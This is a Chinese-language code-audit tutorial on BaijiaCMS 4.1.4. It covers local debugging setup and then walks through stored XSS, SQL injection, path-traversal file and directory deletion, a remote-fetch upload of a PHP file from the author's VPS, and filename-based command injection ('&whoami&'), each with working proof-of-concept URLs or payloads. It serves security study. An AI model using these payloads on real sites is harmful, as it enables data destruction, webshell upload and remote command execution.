前言
百家cms微商城是一款免费开源商城类的cms,本文中的版本为4.1.4,仅以记录学习,本文版本配置为:phpstorm_2021.1.4+php_5.5.9+mysql_5.7.26,源码可以访问链接下载:https://baijiacms.github.io/。
一、本地项目部署
1)项目下载完解压后为下图所示:
2)使用phpstudy部署环境。
3)创建网站域名并创建数据库,需注意PHP版本需5.6以前,它安装说明说5.6以后不保证一定好使!
4)重启服务,然后访问网站安装,浏览器随意。
http://www.baijiacms.com/install.php
5)同意许可协议后进入第二步,检查环境,全绿直接进入第三部。
6)配置好管理员账号,然后数据库填写我们创建网站时捎带创建的内个数据库。
7)第四步配置完会跳转到登录界面。
8)使用账号密码登陆成功,功能一切正常。
9)配置一下xdebug,动态调试,在phpstudy上把PHP的xdebug扩展开启。
10)打开PHP的配置文件my.ini。本文的路径为:
D:\phpstudy_pro\Extensions\php\php5.5.9nts\php.ini
11)翻到最下面,按照如下所示更改,目录相关可自行设置,本文默认,然后重启Apache服务。
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php5.5.9nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php5.5.9nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php5.5.9nts.xdebug.profiler
xdebug.remote_enable=On
xdebug.remote_autostart=1
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.idekey="PHPSTORM"
12)使用phpstorm打开baijiacms文件夹,然后在文件–>设置中,按如下操作,名字可随意填写。
13)测试一下看是否配置成功,在index.php文件中,随意找一处下断点,然后开启监听。
14)打开网站然后刷新发现配置成功,如果不成功可以尝试重启大法。
15)虽然配置完了,但是会有一些小问题,超时的问题,调试的时候长时间不动,一段时间就会断掉发生错误,所以还要在配置一下。打开Apache的配置文件,按照如下所示更改。
# Various default settings
Include conf/extra/httpd-default.conf
Include conf/extra/httpd-fcgid.conf
16)更改phpstudy_pro\Extensions\Apache2.4.39\conf\extra下的
httpd-default.conf文件。
16)更改php.ini文件中的max_execution_time参数为3600,注意版本是5.5.9的。
17)在D:\phpstudy_pro\Extensions\Apache2.4.39\conf\extra目录下创建一个httpd-fcgid.conf文件,并在里面填写以下内容,这个目录就是Apache下的目录。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0
FcgidMaxProcesses 16
FcgidMaxRequestLen 268435456
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php5.5.9nts"
AddHandler fcgid-script .php
18)都配置完成后可以在测试下是否还存在超时的问题,本文是没有了!
二、漏洞挖掘
1.准备
1)先把红框中的代码注释掉,以便学习XSS和SQL注入。
2)使用seay源码审计工具审计一波。
3)先看下代码结构。
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统配置文件
include 系统文件
system 后端代码
4)简单的可以看出来assets目录和system目录是主要构成,可以分为两部分,一部分是 system本身,另一部分是eshop。
5)在看一下路由,因为在断点调试的时候也需要看下路由跳转,通过路由跟踪到相应文件审计代码。通过主页URL可知有五个参数分别为:mod、act、do、op、beid。
http://www.baijiacms.com/index.php?mod=site&act=manager&do=store&op=display&beid=1
6)在index.php文件中我们可以看到这些参数大概的作用。mod的作用个人感觉就是判断你是否登录的,没有登录则是mod=mobile,登录就是mod=site,它是先定义一个常量SYSTEM_ACT然后值为mobile,可以看出默认为mobile。再往下看这个c目前也不知道干啥的忽略,再往下就是判断参数是否为空和三元运算符判断,再往下就是如果传入了mod参数,$mod = $_REQUEST[‘mod’] ,默认为’mobile’,继续就是如果 $mod = ‘mobile’ ,则定义常量SYSTEM_ACT为mobile,否则为index。
7)do参数给了个默认值shopindex
8)第一个act就是判断你安没安装系统。
9)第二个act就是先看下值是否为空,不为空就传入给 $_GET[‘act’],为空 就传入默认值shopwap。之后就开启输出缓冲,包含includes/baijiacms.php文件,然后关闭缓冲退出。
10)进入baijiacms.php文件,可以看见在第69行又开启了输出缓冲控制,在 ob_start() 之后的代码中的输出语句都会进入输出缓冲区,这个时候就可以进行全局的输出过滤,下面代码就是对XSS和SQL注入的防御。可以看见用到了 magic_quotes_gpc,作用类似addslashes(),就是对输入的字符串中的字符进行转义处理。可以看到还定义了stripslashes_deep函数,先用三元运算符判断值是否是数组,如果是数组就进入到函数,递归调用 stripslashes_deep,去掉数组中每个值的 / ,不是数组就直接过滤掉 / 。
11)之后就是对外部输入的数组值进行了实体化的操作,并且还定义了 $_GP、 $_CMS数组,然后使用array_merge函数将 $_GET, $_POST, $_GP三个合并成了一个数组值给了 $_GP。
12)下面又是一段防范SQL注入和XSS的过滤,调用irequestsplite自定义函数,过滤 合并在一起的 $_GP数组 中的非法字符。使用了htmlspecialchars,str_replace函数进行了HTML实体编码了。知道了有过滤参数复现漏洞的时候肯定会先注释掉!
12)又有个m参数,看代码就是判断 m 是否为空,为空就 $modulename = $_GP[‘act’] ,不为空就 $modulename = $_GP[‘m’],暂时忽略不知道干啥用的。
13)对do和 $modulename做了非空判断。 $pdo=null, $_GP[‘beid’]的值给了 $_CMS[‘beid’]。
14)再往下就是先用is_file判断文件名对不对,对就连接数据库,然后加载各种配置文件,直至最后一个runner.inc.php文件,看名字应该是路由解析文件。找到路径看一眼。
15)顺扫一眼发现可以,在把这文件再细看一遍。首先就有beid,这里是对店铺的一个查询,并返回该店铺的相关信息,如这里的店铺号为1,店铺名为默认店铺。这里我们可以断点然后调试一下看看,先标记左键标记到第10行,然后开启监听,前端页面刷新一下,直接在第十行右键选择Force run to cursor,发现值是默认店铺。
16)之后会进入到第26行,此时 $modulename为eshop, $classname就是eshopAddons了。
17)之后会进入到/system/common/mobile.php中会对用户状态进行判断,继续跟进。
18)然后判断文件是否为空。
19)判断m 是否为空,不为空就包含baijiacms/system/shopwap/mobile.php文件。
20)检查下 $classnae 是否已定义,然后实例化设置属性
21)接下来对m 参数进行判断如果不为eshop则进入到函数体,然后就就差不多了,开始审计学习。
2.存储型XSS
1)在店铺管理的添加店铺处存在XSS漏洞。
2)在店铺名称处填写XSS室外payload。
<script>alert(/1/)</script>
3)成功触发弹窗。
4)查看代码,按住ctrl+shift+r 全局搜索 “店铺名称”。对比一下此处和前端的很像应该就是此处了。
5)找到地方了我们就在此处下断点,跟一下流程,注意先开启监听。
6)我们步进跟一下发现是先用is_array() 判断store_list 的值是否是一个数组,是数组的话就遍历这个数组,保存到item这个变量中。步进就是蓝色的向下箭头,就是下一步。
7)可以看到此时的值。遍历之后也没有任何过滤转义sname的操作,所以造成了XSS漏洞。
3.SQL注入
1)SQL注入一般常见于搜索处、登录框处或者一些带有数字的参数,seay扫完后发现多处SQL注入,可以一一验证一下,本文就不一一验证了,选择了。此处SQL注入就存在于搜索处。搜索1正常,搜素 1’ 报错存在SQL注入。
2)验证就是抓包保存到txt文本中,然后使用SQLmap跑一下就好了。
3)可以看到有多种方式。
4)那我们再来调试一下,跟一下流程吧。还是先全局搜索一下名字,搜索"店铺名称关键字搜索",可以发现此段和我们的前端页面是一样的。
5)我们就在17行下断点,开启监听,然后在搜索处输入内容点击搜索,可以看到我们已经接受到了监听。
6)找到了我们输入的内容,选择最下边,然后往上看,看一下断点前的流程。
7)看到了和数据库报错页面一样的语句了。
8)那我们在它的上一个流程处断点,跟一下流程,选择好断点右键选择Force run to cursor,然后跟进,可以发现跟进的过程中 $_GP 没有经过任何转义过滤,然后直接拼接了我们输入的参数造成了SQL注入。
$total = mysqld_selectcolumn("SELECT count(*) FROM " . table('system_store')." store where store.`deleted`=0 ".$selectCondition); # AND store.sname LIKE '%sqlzhuru%' LIMIT 0,20
4.任意路径删除
1)先验证一下漏洞,在根目录下创建test目录并创建一个test.txt文件,我是在shenji目录下创建的。
2)然后将目录base64编码一下,由于文件在下图所示的路径中,所以我需要跳三次才能到shenji目录。
3)使用payload,需要把op的参数变成delete,然后添加id,参数为base64编码的路径。可以看到成功删除路径。
http://www.baijiacms.com/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vLi4vdGVzdA==&beid=1
4)漏洞代码位置在/includes/baijiacms/common.inc.php文件中,可以看到unlink函数。
5)简单查看一下整个代码的逻辑。定义了一个rmdirs函数,然后用is_dir判断给定文件名是否是一个目录,不是目录的话直接unlink删除,是目录的话就调用scandir函数列出这个目录中的文件和目录,然后foreach遍历对目录中非 .,. .,qrcode的文件内循环一次,删除文件。循环了一次退出来还会判断该目录是否是/cache目录,不是的话直接删除目录。一句话rmdirs的作用就是递归目录下所有文件并且删除。
6)搞清楚了rmdirs函数的作用,那么再看看是谁调用了这个函数吧。全局搜索rmdirs函数,发现在/system/menager/class/web/database.php文件中调用了这个函数。删除时会先传进来一个id,然后把这个id base64解码后拼接到路径上然后进入到rmdirs函数。整个流程没有任何过滤,所以造成删除任意路径下的文件。
5.任意文件删除
1)在根目录下创建一个aaaaa.txt文件。
2)直接使用POC,发现文件已经被删除了。
/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../aaaaa.txt
3)我们使用phpstorm先开启监听然后再uploader.php文件中第6行开启断点。
4)在主页使用payload加载,然后就可以看见phpstorm接收到了,然后开始跟进调试。
5)可以看到此时的 $_GPC的参数值为下图所示,并且红框内的参数都是可控的。
6)op值为remove,经过三元运算判断,直接跳到了47行。继续跟进发现此时 $file的值为aaaaa.txt。
7)进入file_delete判断,跳转到 /includes/baijiacms/common.inc.php文件中的697行,发现 $file_relative_path的值为…/aaaaa.txt,接下来也就是简单判断一下文件是否为空。
8)再跟进,此时发现 $file_relative_path直接拼接了,然后就是简单判断下指定的文件名是否是正常的文件,之后也是直接拼接删除了。整个过程没有任何防校验措施,而且 $file_relative_path这个可控参数还是直接拼接的,所以造成了任意文件删除。
6.远程文件上传
1)先验证下漏洞,创建一个test.php文件,文件内容如下所示,然后上传到VPS中。
<?php phpinfo(); ?>
2)vps使用python开启http服务。
3)然后拼接以下POC,让baijiacms的服务器访问我们的VPS并下载test.php文件到baijiacms服务器中。
/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.214:8000/test.php
4)访问返回的URL并去掉斜线 /,可以看到远程文件上传成功。
http://www.baijiacms.com/attachment/php/2022/07/oQy8A4QkKKz111d.php
5)在/includes/baijiacms/common.inc.php有一个公有函数fetch_net_file_upload,里面有调用file_put_contents函数但未对文件名或文件内容做任何过滤操作所以造成了远程文件上传漏洞。这段代码大概流程就是先通过pathinfo()得到了url的后缀,然后随机生成文件名,写入到上传目录下。
6)全局搜索fetch_net_file_upload看看哪里调用了这个函数。发现在system/public/class/web/file.php文件中调用了。发现只要让do=fetch就行,而且url可通过GET传递,那么完全可以通过url指定获取远程文件的内容。
7)下断点调试下看看。
8)可以看出来是先取后缀然后以时间的形式添加路径,再然后随机生成文件名,然后就拼接保存了。
7.命令执行
1)还是先验证,在本地创建一个名称为&whoami&的txt文件
2)把附件设置中的图片压缩比例调整为开启。
3)需利用weixin接口,拼接下方的URL并访问。
http://www.baijiacms.com/index.php?mod=site&act=weixin&do=setting&beid=1
4)选择上传我们刚刚建立的文件,可以看见成功执行命令。
5)命令执行常见的函数有exec、system等,所以重点查看这些函数就好了,通过seay审计工具可以看到system。
6)通过seay工具可知是在/includes/baijiacms/common.inc.php文件中的第654行,发现system函数是在file_save方法内,在看看是谁调用了这个方法。
7)ctrl+f,发现有四处地方调用了这个方法,前三个都有return,拿到返回值给到了file_save方法,而且这三处调用代码都是一样的,代码大概就是文件存到哪个路径怎么命名的,从这里可知 $file_full_path是可控的。
8)我们再看下第四处调用,目录位置为:system/weixin/class/web/setting.php,从目录名可知应该是和weixin的接口相关,然后是个有上传功能的点。根据目录拼接路径act为wixin,do为setting,然后访问。
9)到了这个界面,代码已经全看一遍了,有个印象了调试一下吧。
10)在setting文件的32行断点,然后开启监听。
11)接收到监听。
12)此时可以看见name的参数就是我们上传的文件名,这里就可知name参数可控,然后跟进到file_save方法中,先创建了一个目录。
13)我们输出一下,发现直接就成功执行命令了,也是因为没有任何过滤防护措施。
14)发现这里有一层判断, $settings[‘image_compress_openscale’]的作用是附件设置页面的是否开启图片压缩功能,只要开启便可以执行到system函数。基本分析完毕,还有些细枝末节没有详细看,但是能量已被耗尽,就这样吧,摆烂了。
三、总结
1)Force run to cursor与run to cursor的差别是,后者在执行到光标的代码行前,如果有代码中设置了断点,会在该断点处暂停,等待进一步调试指令,而Force run to cursor不论光标前的代码中是否有断点,都会直接执行完所有光标前的代码直接到光标所在行,不会在断点处暂停。
2)unlink() 函数删除文件。若成功,则返回 true,失败则返回 false。
语法为:unlink(filename,context)。
参数 | 描述 |
---|---|
filename | 必需。规定要删除的文件。 |
context | 可选。规定文件句柄的环境。Context 是可修改流的行为的一套选项。 |
3)远程文件上传漏洞可以看看有没有file_put_contents函数,有的话参数可不可控,有没有过滤等。
4)常见造成命令执行的函数列表:
exec
system
passthru
shell_exec
proc_open
pcntl_exec